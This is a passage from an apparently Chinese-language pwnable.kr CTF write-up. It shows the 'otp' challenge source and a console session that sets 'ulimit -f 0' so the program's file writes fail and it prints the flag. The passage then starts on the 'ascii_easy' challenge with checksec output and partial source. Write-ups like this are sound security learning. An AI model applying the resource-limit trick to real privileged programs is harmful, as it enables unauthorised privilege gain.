  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="kt">char</span> <span class="n">fname</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">otp</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">!=</span><span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;usage : ./otp [passcode]</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/dev/urandom&#34;</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">fd</span><span class="o">==-</span><span class="mi">1</span><span class="p">)</span> <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">    	<span class="c1">// uul是8字节长度，这里读取16字节，所以刚好两个元素
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">otp</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span><span class="o">!=</span><span class="mi">16</span><span class="p">)</span> <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">    	<span class="c1">// 用随机数前八字节拼接生成唯一的临时文件路径
</span></span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nf">sprintf</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">&#34;/tmp/%llu&#34;</span><span class="p">,</span> <span class="n">otp</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="n">FILE</span><span class="o">*</span> <span class="n">fp</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">&#34;w&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">fp</span><span class="o">==</span><span class="nb">NULL</span><span class="p">){</span> <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    	<span class="c1">// 把随机数的后半段写入文件
</span></span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nf">fwrite</span><span class="p">(</span><span class="o">&amp;</span><span class="n">otp</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="nf">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;OTP generated.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">    	<span class="c1">// 打开这个文件，把后半段写入passcode
</span></span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">passcode</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="n">FILE</span><span class="o">*</span> <span class="n">fp2</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">fp2</span><span class="o">==</span><span class="nb">NULL</span><span class="p">){</span> <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="nf">fread</span><span class="p">(</span><span class="o">&amp;</span><span class="n">passcode</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">fp2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="nf">fclose</span><span class="p">(</span><span class="n">fp2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl">    	<span class="c1">// 判断是否相等
</span></span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">strtoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">==</span> <span class="n">passcode</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Congratz!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;OTP mismatch</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="nf">unlink</span><span class="p">(</span><span class="n">fname</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>没有漏洞，漏洞在于 普通用户能限制那个资源，他就只能取0，参考：<a
  href="https://etenal.me/archives/972#C32" rel="nofollow noopener noreferrer" target="_blank"
  >https://etenal.me/archives/972#C32<span style="user-select:none"> ↗</span></a
>
</p>
<p>ulimit使用：<a
  href="https://www.linuxcool.com/ulimit" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.linuxcool.com/ulimit<span style="user-select:none"> ↗</span></a
>
</p>
<p>由于限制进程的资源，如果在当前终端启动会报错，要在一个进程里面启动。可以用pwntools的pwnlib.tubes.process。但我这里就直接python得了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="gp">$</span> python3
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; import os
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; os.system<span class="o">(</span><span class="s1">&#39;ulimit -f 0&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; os.system<span class="o">(</span><span class="s1">&#39;./otp 0&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">OTP generated.
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">Congratz!
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">f1le_0peration_r3turn_value_matters
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">0
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Etenal用的subprocess标准库</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">import</span> <span class="nn">subprocess</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">([</span><span class="s1">&#39;/home/otp/otp&#39;</span><span class="p">,</span><span class="s1">&#39;&#39;</span><span class="p">],</span><span class="n">cwd</span><span class="o">=</span><span class="s1">&#39;/home/otp&#39;</span><span class="p">,</span><span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">STDOUT</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="ascii_easy">ascii_easy<a class="anchor" href="#ascii_easy">#</a></h3>
<blockquote>
<p>We often need to make &lsquo;printable-ascii-only&rsquo; exploit payload.  You wanna try?</p>
<p>hint : you don&rsquo;t necessarily have to jump at the beggining of a function. try to land anywhere.</p>
<p>ssh <a
  href="mailto:ascii_easy@pwnable.kr"
  >ascii_easy@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">ascii_easy@ubuntu:~$ checksec ./ascii_easy
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[*] &#39;/home/ascii_easy/ascii_easy&#39;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    Stack:      No canary found
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/stat.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
